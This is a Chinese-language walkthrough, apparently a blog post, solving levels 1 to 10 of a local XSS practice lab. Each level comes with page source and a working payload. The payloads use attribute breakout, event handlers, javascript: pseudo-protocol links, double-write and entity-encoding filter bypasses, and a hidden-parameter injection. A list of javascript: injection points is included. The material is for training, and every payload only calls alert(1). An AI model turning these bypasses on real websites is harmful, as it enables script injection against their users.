前言
用的小皮
level 1
直接改url:<script>alert(1)</script>
level 2
先输入原payload,发现不行,查看源码中的表单
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
发现我们的输入被这个value框住了,于是在前面补”>,让它提前闭合,后执行paload
"><script>alert(1)</script>
level 3
一样先输入原payload,然后看源码
<form action=level3.php method=GET>
<input name=keyword value='"><script>alert(1)</script>'>
<input type=submit name=submit value=搜索 />
</form>
发现:这里的 ’ 是原始单引号, > 和 < 被编码成了>和< , ” 被编码成了 ",换成单引号看看,还是不行. 原因:后端把 < 和 > 做了HTML 实体编码,把它们变成了 < 和 > 。浏览器看到的是 <script> ,这只是一段普通的文字,不会被解析成可执行的脚本 既然不能创建新的
HTML 标签有很多 事件属性(比如鼠标点击、悬停、按下等)。这些属性不需要尖括号就能生效。
' onclick='alert(1)
这里第二个单引号作用:利用后端原有符号闭合onclick
附上事件大全
level4
把单引号改成双引号即可
level 5
看下源码
<form action=level5.php method=GET>
<input name=keyword value="" o_nclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>
发现on开头的事件都不行(可能进黑名单了)
这里用到新东西-超链接
"> <a href=javascript:alert(1)>6</a>
可以发现有一个蓝色的6,点一下就过了
level 6
发现href不行(跟上面一样,变成hr_ef) 改成大写看看(利用html的特性,HREF和href是一样的,大小写效果一样)
超链接
超链接的本质: href 属性
在 HTML 中, 标签的核心在于 href 属性(Hypertext REFerence,超文本引用)。它告诉浏览器:点击这里;去哪里? 在xss里面可以利用js伪协议执行代码
javascript伪协议
javascript: 是一种伪协议,告诉浏览器:冒号后面不是网址,而是一段要在当前页面上下文里执行的 JavaScript 代码
JavaScript 伪协议常见注入点
以下位置如果直接拼入用户可控内容,可能触发 javascript: 伪协议执行。
<a>的href
<a href="javascript:alert(1)">点击我</a>
用户点击链接时执行。
<iframe>的src
<iframe src="javascript:alert(1)"></iframe>
iframe 加载时可能直接执行。
<form>的action
<form action="javascript:alert(1)">
<button>提交</button>
</form>
提交表单时执行。
<button>的formaction
<button formaction="javascript:alert(1)">提交</button>
该按钮提交表单时执行,优先级高于 form 的 action。
window.location
window.location = 'javascript:alert(1)';
赋值后浏览器尝试导航到该伪协议并执行。
- 地址栏
在浏览器地址栏手动输入:
javascript:alert(1)
浏览器会尝试执行(现代浏览器对粘贴内容会剥离 javascript: 前缀,手动逐字输入通常仍可执行)。
level 7
源码
<form action=level7.php method=GET>
<input name=keyword value=""><>alert(1)</>">
<input type=submit name=submit value=搜索 />
</form>
发现被替换为空字符,这里根据php特性:只会替换一个,可以用双写注入进行绕过:"> <scriscriptpt>alert(1)</scriscriptpt>
level 8
<form action=level8.php method=GET>
<input name=keyword value="" onclick:"alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
可以发现:后端PHP中对字符“script”做了过滤,并且通过测试发现, 同时存在对属性字符如“href”、“onclick”等的过滤;url中部分输入被编码
这里的注入思路是:发现在输入框输入的内容,会被带入到友情链接的href属性中,是不是可以直接输入javascript:alert(1),点击友情链接不就可以了。
当我们输入后发现javascript被过滤了,所以使用HTML实体编码(即Unicode编码)去绕过
这里提供一个在线编码工具(也可以使用yakit里面的工具进行编码):
payload:`
javascript:alert(1)(强制16进制编码)
| 对比点 | HTML 编码 | URL 编码 |
|---|---|---|
| 别名 | HTML 实体编码 | 百分号编码 |
| 作用位置 | HTML 文档、标签内容、属性值 | URL、查询参数、表单数据 |
| 解析者 | 浏览器 HTML 解析器 | URL 解析器 / 服务器 |
| 典型格式 | <、<、< |
%3C、%20、%26 |
| 常见用途 | 防 XSS、正确显示 < > & " ' |
保证 URL 参数不被截断或误解 |
| 例子 | <script> → <script> |
a&b → a%26b |
level 9
原payload进去,发现,链接不合法
<form action=level9.php method=GET>
<input name=keyword value="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
通过不断输入发现,只要用户输入中包含字符串“http://”,后端PHP就会认为该输入是合法的URL
所以可以在原payload后面加/http:///
payload:
\j\a\v\a\s\c\r\i\p\t\:\a\l\e\r\t\(\1\)/*http://*/
level 10
我去,没有输入框并且显示“没有找到和well done!相关的结果.”先看看源码吧
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
这里看HTML源码没什么头绪,发现可以去看php源码
$str = $\_GET\["keyword"];
$str11 = $\_GET\["t\_sort"];
$str22=str\_replace(">","",$str11);
$str33=str\_replace("<","",$str22);
这里发现可以通过t_sort进行传参keyword=6&t_sort=<script>alert(1)</script>
但是发现尖括号被过滤(单双引号没有),想试一下点击事件,但是没有输入框咋整啊。没有输入框不能自己造一个吗,于是有payload:keyword=1&t_sort="type="text"
onclick="alert(1)